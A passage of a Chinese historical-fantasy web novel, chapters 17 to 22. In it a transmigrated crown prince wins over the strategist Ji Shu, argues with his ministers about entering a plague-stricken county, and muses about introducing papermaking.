而计枢原本是正等着虞煜逐一提问,却没想到等到了自由发挥的机会,愣怔一下之后迎来的便是满心的狂喜。 此时的上位者问询下位者,多以一问一答的形式展开,轻易不会去随意更改,唯有向幕僚问策之时,才会摒弃一问一答的形式,完全由幕僚根据议题阐述问题后献策主公,所以虞煜此举在计枢眼中,是把他纳入幕僚的打算。 士为知己者死,计 17. 第 17 章 《论亡国太子乱世苟活的可行性》全本免费阅读 感受到虞煜投向自己的目光,计枢不由得直了直自己的脊背,让自己看起来更精神一点,心底也在大为悔恨,这几年他和山匪混得久了,感觉自己也不自觉中沾染上了匪气,就连自小学习的礼仪,都开始有些不堪了。 时下择士,一重出身,二看风仪,最后才是能力,被虞煜这样正视着,本来出身就已经有了污点,唯恐因风仪不足而不被询问,只要太子选择了向他问策,他就能凭借自身的能力在其麾下获得一席之地。 非他自夸,他或许在学识上不如老师傅泓,但他自认在谋略上,至今未逢敌手,至于赴任途中被袭击至被死亡,他一直认为是对方为了谋夺郡守之位不讲武德,非谋略可破。 然而出乎他意料的是,虞煜并没有直接向他问策,而是问了一句让他有些摸头不着脑的话。 “若孤要进驻古渡郡,不知目前所驻之人,是否欢迎?” 虽不太明白太子既然在这里扎了营,为什么还要去进驻瘟疫纵横的古渡郡,就留在这里总揽事务不是更好,但计枢还是庄重的承诺道。 “定虚左以待,无出其右。” “好!今日天色已晚,你且在此留宿一晚,明日一早回城报信,告诉他们,孤不日便至。” 听到他的承诺,虞煜一拊掌,就定下了不日进驻古渡郡的决定。 这一点完全超乎了计枢的预料,包括他之前为虞煜定下的三个计策,也没有任何一个是提议虞煜进驻古渡郡的。 太子乃一国储君,地位非比寻常,怎么轻易易踏足险地。 而最让他奇怪的是,对于太子的这个决定,傅泓居然做得稳稳当当的没有阻止,根据他对傅泓性格的了解,他才是那个最不可能同意让太子涉险的人。 疑点重重的背后,势必隐藏着极为重要的秘密。 计枢眼神一转,突然想起他们初下山之际,曾在渡口不远处看到对面的历州渡似乎起火燃烧,因隔着广阔水面和茫茫江雾,他们看得并不是很清楚,只隐约知道是着火了。 但七月流火,本就是天干物燥的时候,历州渡又是石木建筑,偶有走水发生也不奇怪,所以当时并没有将这点放在心上。 随后他们就遇到了官宦弃民而逃的事件,卷入到了瘟疫猖獗的古渡郡中,再未出过城门,也无暇想起着火之事。 现在想来,只怕那天晚上的历州渡,该是发生了一件大事。 他在想,要不要抛却性命再搏一搏,充分向虞煜展示自己的能力。 “你怎么还不走?是还有什么事情没有讲完吗?” 正准备细细复盘计枢提供的情报,描绘前行策略的虞煜,一抬眼就看到了还站在原地的计枢,不由疑惑,出口相询。 “斗胆有一事想要与殿下相询。” 计枢再三犹疑,最后还是拱手行礼。 “但说无妨。” “敢问殿下,近一月之前的历州渡,可是发生了什么事情?” “何出此言?” “我曾看到其上方有滚滚黑烟翻滚。” 计枢狠咬了一下牙齿,将自己所看到的场景说了出来,他本以为窥破秘辛后迎接自己的唯有死亡和招安两个选项,没想到太子只是轻快的笑了一声。 “啊呀,你看到了呀。” 随后又兴冲冲的转头看向傅泓。 “太傅,还真被你说对了,会被对岸之人看到。” “我都说你往火箭油布上浸的脂水太多了,历州渡剧烈燃烧会引起对岸的警觉的。” 说这话的是傅泓,说完还意有所指的看了一眼计枢。 “咳……我这不也是第一次放火没经验吗?” 虞煜想起自己曾做下的事,有些惭愧的咳嗽了一声,小声狡辩。 计枢在一旁听着他二人的对话,一直处在云里雾里的状态,明明他们说的每个字他都能听懂,可是放在一起她就听不懂了。 什么火箭? 什么脂水? 什么放火! 这都是什么,怎么感觉历州渡是发生了一种很可怕的事情。 “殿下可否为我解惑?” 脑中懵懂三连问之后,计枢决定悉心求教。 随着他的话音落下,有两个声音同时回应了他,只不过是一同意和一反对。 同意的是虞煜。 而反对的则是傅泓,直言这是机密不足为外人道。 什么机密不足为外人道? 计枢更好奇了,求知的眼神直白的看向虞煜,反正询问的口子都开了,现在的他已经是生死有命富贵在天,也不带怕的了。 与傅泓的考虑的不同,虞煜倒觉得锦州之外发生的事情并没有什么不能说的,暂时的隐瞒,远不如开诚布公来得好,以其留待日后猜疑得沸沸扬扬,还不如把一切都提前高告知,毕竟天底下可没有不透风的墙。 哪怕此刻对面无船可渡锦州,但只是想要传递消息的话,依旧有着无数的法子,何况安存德此次被他重创,是绝对不会就此善罢甘休的。 而正被虞煜念叨的安存德,在历州渡火焚之后又遭梧州偷袭,虽勉强拒敌未被攻破,但也休养了多日才回转过来,只是连经两场拼杀,他原本所带的五万人马,已折损近半,如今整支队伍看起来寥寥落落,难成气候。 好在龚守仁已经退兵,没有对他穷追猛打,才让他不至于就此倾覆。 经此一役,他此前对龚守仁有多轻视,现在就觉得其有多可怕,不愧是敢箭射主君之人,用兵之计,毒如蝮蛇。 但他觉得龚守仁之毒,较之虞煜还是差了点,历州渡一场大火,不仅让他损兵折将,更直接击溃了他麾下士卒的心理防线。 不知道从哪里弄来的奇怪东西,一旦点燃,火随风起,遇水不熄,还携惊雷之声,犹如天罚,以至于让他手下的士兵终日惶恐不安,战战兢兢,才会在与龚守仁对战中险遭攻破。 历州渡一役后,他多次强令军中不得私下议论,却致使谣言亦演亦烈,甚至从民间也流传出了的太子承天所佑,逆者必遭天罚的说法,军心一时更是动荡不安。 他虽对此种说法嗤之以鼻,在他看来,老天爷就算要罚,罚的也是祸国殃民的虞雍之辈,和愤然起兵欲救万民于水火的他有什么关系。 但为了稳定军心,他既不能放任此类流言继续蔓延而不理会,更不能再次强压不得讨论,因为此前强压的结果已然摆在了他的眼前。 防民之口甚于防川。 进退维谷之际,还是手下的幕僚向他献上一计,以巫鬼之言,反诬虞煜为邪祟。 他一听这个计策就觉得十分的符合自己的心意,当即拍板同意。 和龚守仁交战之后,他才得知,虞煜不止制造了历州渡上遇水不熄的怪火,还曾 18. 第 18 章 《论亡国太子乱世苟活的可行性》全本免费阅读 眼见尴尬的气氛一度将要蔓延,而傅泓却没有半点想要帮忙的意思,再这样持续下去,只怕到手的谋士就要飞了。 虞煜迅速起身,快步走到计枢摔倒的地方,亲自将他扶了起来。 “能得先生效忠,是孤之幸。” 接着又对着被自己扶起来的明显还有点搞不清楚状况的计枢道。 “计先生莫要生气,裴安翊不是有意的,他年轻气盛,素日里也总是比别人要来得莽撞了一些,先生切莫放在心上,我这就让他亲唤巫蕤过来为先生治疗,以作赔礼。” 随即又悄悄对在发现自己误伤人之后便呆愣在一旁有些不知所措的裴安翊使眼色。 “殿下,我只是按倒了他,没用多大力气,肯定伤不到……好的,我去寻巫蕤过来。” 听到虞煜说自己年轻气盛且莽撞,裴安翊有些不服气的辩驳道,只是声音在虞煜目光的注视下越来越小,最后无奈妥协。 虞煜也无奈,平日里挺机灵的小伙子,今晚怎么老是呆头呆脑的。 辩驳未果反遭眼神压制的裴安翊垂头丧气,正准备出门去寻巫蕤,却被醒过神来的计枢喊住了。 “小裴将军留步。” 计枢此刻已经从迷糊中缓了过来,也理清了整个事件的来龙去脉,又被迫看完了虞煜这台明罚实赦的大戏,虽然有些无语,但他并没有生气,反而欣喜于能遇到这种会为下属主动开脱的主君,于是出声喊住了不怎么甘愿的裴安翊。 虽然是感觉腰部有些疼痛,但他觉得并没有到要找巫医的程度,最主要的是时下的巫医在他看来着实没有什么大用处,不要也罢,最主要的还是要先解决眼前的问题。 哪怕他对太子的属臣并没有过多的了解,甚至可以说除了傅泓之外一概不知,但通过短暂的接触,不难看出裴安翊是太子手下的得力干将,而且还是一路追随,出生入死过的那种。 其实从太子方才的讲述来看,莫说属臣了,就连营中的士卒,也都是一路追随出生入死而来的,他并不想自己在未有寸功之时,就贸然得罪太子身边的旧臣。 “殿下,小裴将军说的不错,我无甚大碍,既是误会,当然也错不在小裴将军,他只是过于忠心护主,此非过错,反而是大善之举,殿下有此良将护持,是万民之幸。” 说罢,躬身行了一礼,随着动作的下行,难免牵制到疼痛的腰部,但都被他不动声色的压了下去,乃至离他最近的虞煜都没有发现,以为他真的没有被伤到。 见此前的尴尬随着计枢的话语消弭无痕,对他的欣赏更甚了几分,觉得这个人开始脱离书中的刻板描述,逐渐鲜活在了他的眼前。 真的是好会说话的一个人,难怪能在天选之子的男主手下做顶级谋士,迫不及待的通过眼神和傅泓分析自己此刻的好心情。 虽都说忠言逆耳利于行,但到底是没人不好听好话的。 他麾下的属臣都是忠言逆耳的坚定践行者,他真的很久没有听过这么好听的话了。 然而傅泓并不买他的帐,鼻子朝天狠狠嗤了一句。 “巧言令色,谄媚逢迎!” 虞煜是知道傅泓的狗脾气,更何况他现在对着计枢还有气呢,也不和他一般见识。 至于计枢听到这句话时也只是略微苦笑了一下,并没有其他的言语,他知道老师对自己偏见,又素来看不上自己自己这种利益至上的性格,听到这些话难免会不开心的。 倒是裴安翊,看到计枢没什么大碍,不但没有追究他的责任,还对着殿下将他夸了一通,顿时也把心底的那点不安抛之脑后,兴奋的跑到他的身前絮絮叨叨。 “计老哥,兄弟刚才多有不是,真是对你不住呀,以后你有什么需要我的地方,吱声就行,兄弟我万死不辞!” 说着,还用双手重重的拍了拍计枢的肩膀,一副好哥俩的做派。 虞煜正欣慰着一晚上了,裴安翊终于通开了他那不知道被什么堵塞了的脑袋,找回了往日里的机智。 然后他就亲眼看到计枢的脸色在裴安翊的拍击下瞬间苍白,细密的汗珠也布满了整个额头,身形摇晃几欲跌倒,还是裴安翊一把扶住了他才没有发生以脸抢地的事故。 “裴安翊,你又在做什么?” 虞煜气极,喝问道。 若不是相信裴安翊并不是一个会随意戕害同僚之人,只怕他此刻已让甲士将他拿下了,只是计枢方才明明并无大碍,怎么裴安翊拍了两下就成了这幅样子,无论如何裴安翊都难辞其咎。 不能寒了臣子的心,该有的样子还是要做的。 “我没有!” 裴安翊一脸委屈,他是真心来道歉的,哪里知道计枢这么脆皮,轻轻拍两下就成了这副模样,他平日在军中,也是这样与人交际的,都没有人出现过这种情况。 “计老哥,你快说句话呀,我没把你怎么样的!” 见太子误会了自己,裴安翊更着急了,不由得摇晃依他而站的计枢,让他快点为自己解释。 虞煜看到计枢都快被他摇散架了,正准备出口制止,却听到耳边传来幽幽一声。 “小裴将军,使劲摇,再摇片刻,他就可以直接入土了。” 虽然说出口的话并不好听,但也不难听出其中的阻止之意,瞬间就让裴安翊反应了过来,手下当即不敢再轻举妄动了,但嘴中却难免依旧絮絮叨叨的。 虽疑惑傅泓怎么会突然出言为计枢解围,但现下计枢的安危才是大事,来不及八卦,就下令让候在门外的家令喊人去传巫蕤过来。 已经躺在床上准备入睡的巫蕤接到太子的通传还有些疑惑,他方才离开的时候并没有发现太子有什么不妥的地方呀,难道是忍无可忍和傅老头打起来了。 只是不知二人胜负如何,要他看,年富力强的太子是绝对不会输给行将入木的傅老头的。 但转念一想又觉得未必如此,太子自中箭之后就显得病病歪歪的,从脉象上来看是基本没有什么问题,但整个人看起来总是不太康健的样子,也很有可能打不过老当益壮的傅老头。 但这两人无论谁输谁赢,可都是大事呀,也难怪家令安排过来的人一副狗狗祟祟的样子。 提着自己的治疗箱,他火速奔赴了吃瓜……医治的第一现场。 而此刻被裴安翊扶坐在席上的计枢也从刚刚的疼痛中缓了过来,看着关切看向自己的太子,勉力行礼道谢后,又向傅泓投了一个感激的眼神,对方却在他看过去的时候将脸撇向了一边。 老师果然还是对自己有着很深的成见呀。 苦笑着叹了口气,又把关注的重心放到了虞煜的身上。< 19. 第 19 章 《论亡国太子乱世苟活的可行性》全本免费阅读 见事情终于告一段落,天色也着实不早了,虞煜就让帐中的人自行下去休息,有什么事情明日再议。 裴安翊自告奋勇的要求带送计枢前往他的帐篷,但考虑到今晚的情况,虞煜觉得他们两人之间的气场不太合,唯恐计枢和他一起再出问题,正准备回绝他的这个提议。 但没想到计枢不计前嫌,在他开口之前同意了裴安翊的请求。 虞煜一看当事人都没有什么意见,也将原本的打算作罢,不再去讨嫌。 毕竟属臣们若是都能相处融洽,在他这个主君看来,那是再好不过的事情了。 众人离去之后,他独坐在帐中,准备整理一下今日计枢提供给他的信息。 家令卫衍不知是何时进来的,劝他早点休息无果之后,默默为他添了一盏新茶,又帮他拨亮了蜡烛后,方才转身离去。 虞煜不习惯以竹简写字,他操作起来总感觉慢且伤眼,于是干脆取来一卷绢布,将计枢方才所言一一记下,对照数字开始分析。 只是边写边心疼,要知道在此时的绢布是可以直接当做钱财使用的,都是军费! 心中又生出了琢磨造纸术的念头。 如果真的可以在这个时代折腾出纸张,那可是一举多得的好事。 不仅能够解决目前竹简书写不变,携带困难的问题,还能顺道帮助百姓改善民生问题,最重要的是,造纸术一旦大成,他就可以着手颠覆当前门阀世家垄断知识的局面。 毕竟现在天下识字者甚少,还大都聚拢在门阀世家的周围,这也是为什么听到皇帝一死,他们就敢带头搞事的原因。 打过天下的朋友们都知道,治理国家第一步,瓦解门阀最重要。 门阀的兴盛,往往伴随着皇权的让步和百姓的痛苦,“上品无寒门,下品无庶出”,一句话完全堵死了普通人的上升通道,社会资源分配的严重不公,也往往成为兵祸的起源。 当然一个王朝的覆灭,昏聩无能的君主有着不可推卸的责任,但是门阀在其中的推波助澜也不可小觑。 一旦造纸术实验成功,他就能凭借造价低廉,书写方便的纸张,让寻常百姓也能接触到文化知识,为后来想要开展的制度埋下种子。 在造福于民的同时,彻底打破世家对知识的垄断,顺带着还能在文坛中狂刷一把名声,积累人才的好感度。 只是他现在未得一城一池,整体还处在一个居无定所的状态,所以他还是决定先行解决古渡郡的瘟疫,在成功入驻古渡郡后,再着手安排人开展造纸术的相关工作。 目前古渡郡共有人口五万余众,虽然他前世所在的地方,城市中少的有二三十万人,多的则动辄上千万,但他并不敢轻易看不上在这个时代任何一座拥有着五万人口的城市,要知道此时天下的人口受连年灾害的影响,不过堪堪两千万罢了。 也就是说,这里全国的人口总数还比不上他以前世界一个大城市的人口数量,仅此一角,便可窥探民生多艰。 能拥有五万人口的城市,已经有了“万户之邑”的美誉,尤其是在锦州这种边城,是绝对能称作大城市的存在。 瘟疫在这样的一座城中肆意,也必然对锦州产生了极大的影响,只怕古渡郡之外的村镇小城,也有人背井离乡的开始向着南部迁徙,毕竟做为青州的邻居,两年前席卷了整个青州的瘟疫,百姓们依旧历历在目。 虽然他们不懂得什么叫做传染,但趋利避害,是人的本能,所以也知道瘟疫肆虐之时离疫城越远就会越安全道理。 刨除已经死亡的人,其中染疫之人十之有三,那大概就是一万五千余人染病,这是一个极大的基数,他将此项内容重点标记了起来,留待明日询问巫蕤他们目前所获的药材是否能够支撑起这些人的治疗,至于其余的药材,还需要入驻郡中之后找其乡老询问。 再者就是山匪入驻后采取的防治措施,他们接手后将健康者和染病者划地而居,并下令患病者百日不得出门,同时打开郡中粮仓对其施予豆饭,免去了百姓因病不能出门而导致饿死的风险,在虞煜看来是一个极为聪明的办法。 这样既可以稳定因官员出逃后惊惶不安的人心,又能暂时延缓了瘟疫的扩散速度。 在没有医药的时代,隔离虽然残忍,却也是目前防治瘟疫最有效的方法,虞煜查看原主的记忆,发现朝廷治瘟大抵采取的也是这种办法,但无论是前朝还是本朝,都没有向百姓施予饭食的先例,隔离后只任其自生自灭。 毕竟这里可没有民贵君轻的说法,天下黔首在当权者的眼里,可能比牛马还要不如,无用的符水都不会施舍一碗,更何况是粮食。 而这群山匪却开创了这个先河,这一点让虞煜也不得不佩服。 但虞煜也知道,这个办法绝不是普通山匪可以想到的,普通山匪受出身和眼界的制约,所能想到的法子也会受到当下时代主流的影响,例如挂满了避瘟符的城楼。 那么城中唯一能想到这个法子并运用得当的,唯有计枢这个拥有超前大局观的人。 就算他在描述的时候轻描淡写的略过了这一个细节,但虞煜也不难想象在当时那样混乱的情况下,一群山匪出来稳定人心是多么困难的一件事。 但玄学加上科学的混搭,他们居然做到了,让郡中的百姓听从安排分地二居,成功延缓了瘟疫的扩散。 通过计枢的讲述,虞煜发现了两个让他极为惊讶的点,这只是其一。 其二则是虽然城高官尽逃亡,但城中还留有一些品级不高的官员和士卒,正是他们与山匪通力协作,才圆满完成了上述的各项举措。 官和匪的联手协作,固然让人难以想象,但还是让他重燃了对锦州官场的期待,毕竟这样看来,也不全然都是尸位素餐之人,还是有可用之人存在的。 天下间高官厚禄者大多出身大族,但虞煜是来自出身不问英雄的年代,正所谓王侯将相宁有种乎,他在任用贤达上,绝对不会履行这个时代择士只取门阀的潜规则。 哪怕他现在势单力薄,无 20. 第 20 章 《论亡国太子乱世苟活的可行性》全本免费阅读 计枢就这样一路思索着,抵达了虞煜的营帐。 出乎他意料的是,他进去帐中之时,虞煜正打算用朝食,而其下席位旁的桌案之上,也正热气腾腾的摆放着一份汤饼,似乎正在静待着谁的到来。 果不然,一见他入帐,坐在主位的虞煜眼睛一亮,毫不见外的和他打招呼。 “计先生快快入座,孤让厨下为先生准备了汤饼,此时刚好呈上。” 正如他所想,这份汤饼是为他人准备的,只是没想到会是自己。 这一举动让他本来有些焦灼的内心,得到了一点慰贴。 而他此刻,着实也是饿了,昨夜家令虽让人奉上了饭食,但他因心中有事食不下咽,只草草吃了几口,一夜的辗转思忖,早已让他饥肠辘辘。 于是也不再客套,谢过虞煜之后,就坐下开始大快朵颐,不消片刻,满满一大碗汤饼都进了他的肚子,尤嫌不够的把汤也喝干了。 虞煜坐在主位,目光落在计枢身上,见其风卷残云般地吃完了碗中的汤饼,眼角不由有些微微抽搐,他之前曾惊诧于武将的饭量,但没想到文臣中也有能吃的人。 他甚至有点怀疑昨夜傅泓为泄私愤故意不让人给他送膳食,但想想也不可能,因为这些琐事是家令卫衍在管,傅泓是不会去插手的。 这两老头一人主内,一人主外,向来分工得特别明确。 看着埋头喝汤的计枢,虞煜想了想,默默起身把自己面前尚未动箸的汤饼也端到了他的桌案上,他不喜欢有人近身服侍,这点原主很是相似,所以卫衍等人一般都候在帐外等待传召。 自己独处一帐的好处就是,有什么不合规矩的举动也不必费心遮掩,就好比他此刻亲端汤饼给下臣,要是被卫衍看到了,难免说教。 虽然卫衍并不会像傅泓那样直接阴阳他,但是他会找傅泓来阴阳他,想想都是泪。 但一想到此刻卫衍身处帐外看不到他,他就十分愉快的自己端起汤饼放到了计枢身前的桌案之上。 毕竟对臣子好,可是的明主所为,怎么能说是不合规矩呢。 埋头苦吃的计枢没有发现虞煜的动作,只以为是侍者端来的,挪至身前就是一顿猛吃,直到把这碗的汤也喝干了,才觉得自己不是那么的饿。 正准备抬首谢过太子,却见自己的身前垂着一片衣摆,虽素白无纹,却质地光滑,一看就不是寻常侍者可以穿的衣料。 而据他昨日观察,太子随侍除了卫衍,其余都是身着玄甲的甲士,并没有身着常服的侍者存在。 这片衣摆属于属于谁,自然一目了然。 抬头一看果然看到虞煜立在他的案前正笑晏晏的看着他,而主位桌案上面已经空空如也,所以他不仅吃了太子亲手端来的汤饼,还吃了太子的那一份。 饶是自认足智多谋的计枢在面对这样的事情,大脑也难免陷入瞬间宕机无法思考,但好在身体的反应远比不靠谱的思维来得快,当即改坐为跪,就要行礼请罪。 只是头还没磕下去,就被虞煜一把拉住,不让他继续请罪。 “一碗面而已,不值得这么兴师动众的,再说你身为孤的师兄,又将是孤以后的肱骨之臣,给你端碗面怎么了。” 说着不以为意的摆摆手,自己又端着计枢吃完的碗回来主位上,计枢阻止未果后只能叹息。 “殿下,这不合规矩,到底是臣逾越了。” 计枢听到虞煜的话,既是感动又是不安,感动的是虞煜对自己的用心,不安的是虞煜对规矩的不顾,纠结片刻后,还是慎重行礼,一为请罪,二为称臣。 这是他首次在虞煜面前自称为臣,皆因肱股之臣四字。 本以为得到太子的启用就已是此生幸事,没想到会被摆在这么高的位置。 这一刻的计枢甚至觉得,他此前半生的颠沛流离,都只为等待着太子这位明主的出现,同时下定了为太子死而后已的决心。 虞煜看着犹豫片刻便下定决心的计枢,也有些无语,他承认今早礼贤下士共食汤饼这一幕是他刻意设计的,目的是为了在计枢启程前安抚他的不安。 至于把自己的汤饼端给计枢那完全属于临场发挥,对于这个他其实是没有包含算计的,只是单纯的看到计枢没吃饱罢了。 没想到这个接地气的举动,居然直接斩获了计枢的心,计枢此前虽也宣誓了要誓死效忠,其势激动,但虞煜其实是没有太过感受到他的决心,不像这一刻,虽表面平静无波,内里扑面而来的全是决心。 这算不算,用一碗面骗来了一位谋臣? 这可真是无心插柳,收获战果的虞煜在心里乐开了花。 这一刻,什么傅泓的心情,属臣的情绪,都不再重要,他只知道原本属于二十年后男主的谋士,彻彻底底的归顺了他,再次珍之重之的将计枢扶起。 受到礼遇的计枢此刻满腔热血,一心只思报效虞煜,当即便向虞煜提出辞行,他要先行前往古渡郡,为迎接虞煜的到来做准备。 听到计枢的辞行虞煜并不意外,这本来就是他们昨晚商定的结果,当即欣然应允,并让人通知裴安翊带一队人马与他同去,协助处理即将的入驻的先期事物,想了想,又把岑柘和巫蕤也放了进去。 这样的做法倒不是他不放心计枢,而是考虑到如今古渡郡的特殊情况。 虽然计枢向他保证了古渡郡的山匪会主动投降,但是历史上赫赫有名出尔反尔的人大有所在,对岸都还杵着一个安存德,更何况是一群匪徒。 虞煜是不放心让自己刚到手的谋士就这样毫无保护的回到匪窝之中,所以才派了裴安翊随行保护。 哪怕到时是他以小人之心度君子之腹,那么裴安翊也并非毫无用武之地,他完全可以做为虞煜考量群匪的第一双眼睛,顺带着维护古渡郡的前期秩序。 可以说裴安翊,是在计枢代表古渡郡一干人等宣誓效忠之时,虞煜就有了要让他随着计枢一同前去的打算。 而岑柘,也是他昨夜思虑良久的决定,高官尽皆逃亡,郡中虽遗留了一些微末小官,后面又被山匪统管,虽有计枢这样的大才在内统筹,但一个人的力量终归是有限的,他派出岑柘,就是为了让他协助计枢处理无法兼顾的事务。 虽然岑柘平日杠精了点,但整体能力还是不错的,在书他就曾协助姜泽统御锦州数载,虞煜相信他完全可以胜任这个职务,还能顺便磨磨性子。 至于巫蕤,则是他临时想到的。 毕竟此时的古渡郡中瘟疫横行,他将人派了进去,总要保护他们的人身安全,能治瘟疫的巫蕤随行,成了此时最好的选择。 在虞煜的这种决定之下,计枢想要立刻辞行前往古渡郡的想法自然是不能实现了,哪怕他此刻立功心切,归心似箭,也得按捺下性子等待虞煜召集群臣商定完毕后再行出发。 但转念一想,集议也好,正好认识一下太子麾下的群臣,至今为止,他认识的只有傅泓、卫衍和裴安翊,还有巫蕤也算一个,一共四个人,其中还有两个老相识。 就这样满怀期待的,看着接到太子传召的同僚们一一步入,一个、两个、三个、四个、五个……怎么就没 21. 第 21 章 《论亡国太子乱世苟活的可行性》全本免费阅读 计枢有些愤怒,为太子没有得到应有的待遇而愤怒。 他此前只知道先帝溺爱晋王,没想到竟对太子苛待至此,就连最常规的太子班底都不愿配置,就让只拥有小猫八九只的虞煜率军前往历州荡寇,还是在大婚之日下达了这样的命令,可怜太子连太子妃的面都没见过,就包袱款款的踏上了征途。 谁好人家的爹会干这种事呀? 人们常说是因为皇后早逝,外家不显才造就了太子殿下不尴不尬的局面。 但在计枢看来,完全是因为皇帝的忌惮,才刻意营造偏心眼的氛围,和任何因素都没有关系。 晋王,也不过是他拿来压制太子的工具罢了。 好在太子自己也有成算,虽只带着三千兵马从上京出发,却在历州荡寇时募足了一万精兵,不然在当前这样被先帝玩脱了的局势下,是真的很难有回旋的余地。 很多时候他都搞不清楚那位皇帝是怎么想的,内里一堆的阴谋诡计帝王权术,敬重他的太子和臣子全是范围内打击对象,外在却又醉生梦死昏聩无常,被一堆佞臣贼子耍得团团转。 说不上他是到底是精明还是不精明,但做出来的却都没有好事儿,这样为君不尊,为父不仁的人,也活该落得被万民枭首的下场。 他对先帝,可以说真的一点好感都没有,不然当初也不会选择远离上京,前往边远的锦州赴任。 可惜他原本只是想离开那个皇帝醉生梦死,佞臣肆意弄权的黑暗上京,却不料意外打破了锦州世家垄断官场的局面,落得一个险些身死的结局。 虞煜倒是没有注意到属臣们的眼神官司,他有些疑惑那人是又出怎么了,此前不是好像吃菌子中毒了吗,但巫蕤已经帮他解了毒,按道理也该清醒了,怎么又会突发情况急需治疗。 但到底救人要紧,他表示知道了巫蕤迟来的原因,同时示意集议开始。 然后计枢第一次参与太子的集议,就有幸围观了一场虞煜和属臣的极限拉扯。 听罢,计枢深刻体会到了太子殿下此刻的不容易,属臣小猫九只,刨除巫医和他没有见过的姜泽和晏俭臣外,剩余六只中竟然还有两只废猫。 一只是集议从不开口,仿佛永远在沉睡的太子嘉宾白乐为;另一个则是勇于开口,却永远因何和主题背道而驰而显得不怎么聪明的乔嘉麟。 而这场集议,除却这两个可有可无的人,还有因公没来的人,几乎所有人都强烈反对太子要在瘟疫未除之时就打算入驻古渡郡的决策。 其中也包括他自己,哪怕他在太子摆出了巫蕤可以根治瘟疫这一震惊消息之后反水,但除他之外的群臣也仍在反对。 甚至连被点将了的岑柘和裴安翊,他们表态自己可以跟随计枢前往古渡郡协同相关事务,但绝不同意太子在瘟疫未除之前进驻古渡郡。 计枢起初不明白为什么已经有了能够根治瘟疫的法子,为什么群臣还不同意,但听了一段后他表示群臣们果然才是正确的。 因为治疗的药方是有了,但药品不齐全外加没有没有检验过具体疗效。 而现在每日外出的士卒除了探听消息的外,其余人都在寻找巫蕤所需的药材。 这种一半一半尚未确定的情况下,太子确实不适合亲涉险地。 集议进行到这里,虞煜和群臣分执一辞,进入了无法调和的分歧,场面就这样僵持住了。 而正在此时,之前被事耽搁了的巫蕤终于出现在了营帐之中,想是一路疾行而来,进入帐中还在微微喘息。 卫珩蹙眉,正要提醒他莫忘君前之仪,却被他禀报的事情惊得无法开口。 “回禀殿下,此前山中所救之人已完全清醒。” 群臣不知道巫蕤为什么要在集议上禀报太子殿下一个无关紧要之人清醒的信息,但其接下来的一句话,让整个营帐瞬间一片哗然。 “那人醒来后与蕤交谈,自称能识数百种药物。” 群臣惊讶之后表示疑惑,他们刚才还在以药材不足为由劝谏太子不可冒进,怎么迟迟不到的巫蕤就跳出来宣称找到了能识数百种药物的旷世奇才,这真的不是他和太子的连环计吗? 这巧合德很难不让人阴暗联想。 但就算是真的,识药又不是有药,哪怕他能识数百种药物,也不代表他也拥有这么多的药物,要满足古渡郡全郡的用量,需求是很大的。 群臣们并不因或许存在的转机而改变想法,做为臣子,他们可以在前面为殿下杀身成仁,却绝对不会同意太子在瘟疫彻底清除之前进驻古渡郡。 原因很简单,不想成为亡国之臣。 大雍的皇帝已经死去了,他们的太子是目前唯一拥有光复大雍资格之人,天下未定之前,决不能出现半点损伤。 他们对此渴望外放得太过炽烈,以至于让虞煜这种朝夕相处的人,能够完全感受到他们的想法。 虞煜自然也知道群臣内心在想什么,虽然他并不觉得那烂怂到家的大雍有什么好值得光复的,但他由衷的敬佩这种为了理想甘愿舍生取义的人。 他虽在其列,却认为自己永远成不了这种人,他目前的所有绸缪,都是不过是为了自己能够活着而努力罢了。 然而此刻的他再无暇分出任何一点精力给群臣,自从他听到巫蕤说有人能识得数百种药材之后,他内心就被自己的尖叫刷屏了。 怎么能有人在巫者当道,医者未立的时代,认识数百种药材,这是什么药王在世,他得去看看! 想着,就想起身离去,但被激动冲走的理智在这个时候突然回归,又让他冷静了下来,毕竟他此时需要集议的事情也很重要,如果那个人只是随口说个大话,那么丢下群臣跑这一趟,就显得很不值当。 于是,他觉得还是先从巫蕤这里探听一点信息。 “蕤,你可与他细谈过药物相关。” “蕤之所识,那人皆能识。” 好家伙,厉害了,是得去看看! 群臣见虞煜又陷入了沉思,就知道他定是要去亲自探查看那人的底细了,也知道这是绝对劝不住的。 毕竟大家朝夕相处,总不能只有太子了解他们,而他们却对太子一问三不知道吧。 他们曾感叹过,中箭之后的太子仿佛自一夕之间长大了,成熟且聪明了许多。 本来在如今的局势下,主君变得成熟且聪明了,对于属臣来说是再好不过的情况。 然而随着时间的推移他们发现中箭之后的太子,远比中箭之前难缠了许多,经常不按常理出牌,也对一些自己认定的事情极为固执,怎么看就怎么让他们悬心。 他们不知道这种改变是好还是坏,毕竟先帝死的,实在是太没有体面了,成为了帝制存在以来,第一个被百姓枭首的帝王,大雍从此和他一起钉在了耻辱柱上,太子在这 22. 第 22 章 乔嘉麟这一问的目的何在,计枢自然看得一清二楚,但他虽是正统文臣出身,却因变故而混迹匪寨,一路颠簸而来,早对文臣们所看重的面子问题已不太在意。 本不想回答这种一眼望去就知道来者不善的问题,但看到对方清澈中透着点愚蠢的眼神,起了一点逗弄之心。 “没有呀,我只是单纯的在发呆而已。” 然后就看到那张隐含期待的脸瞬间垮塌,计枢的心情飞速上扬,果然欺负一个又菜又爱玩的人,也是一件很解压的事情。 他觉得自己好像找到了日后抒发压力的办法了。 乔嘉麟被计枢不要脸的回答噎住了,难以想象怎么会有人把集议大事之时的走神说得如此光明正大,而且好像还颇有些不以为耻反以为荣的意思在里面。 真的很想问问太子殿下听到了没,他们中间进来了一个混子! 但转念想到此刻太子眼里心里全是那个能识百草的神人,必定是抽不出心思来关注他们这边的,随即作罢。 从未见过如此厚颜无耻之人! 自认脸皮厚度不如计枢的乔嘉麟就这样铩羽而归。 其他人也没想到这个新来的竟会是如此混不吝的性格,一时也有些无言,却突然看到傅泓一脸嫌弃的看着计枢,又彼此心领神会的交换了一下眼神。 怎么忘了,傅公是最讨厌这种性格的人了,那看来以后会有好戏看了。 计枢对此并不太在意,毕竟嫌弃才是傅泓对他的常态,要是哪天傅泓真的主动给了他好脸色,他还要先看看天上有没有下红雨。 虞煜虽然满心都在想着那个识得数百种药材的当世药王,但也不至于对跟在身后的动静毫无察觉,在乔嘉麟开始出言挑衅计枢的时候他就默默的在关注了,只是关注的对象不是计枢,而是乔嘉麟,听说他最近颇为上进,正好见识一下他进阶后的样子。 结果,就这? 被计枢一句平平无偿的话就噎的哑口无言,当文臣的,尤其还是在乱世当文臣的,虽不要求人人都能厚黑,但脸皮也不能薄成这样呀? 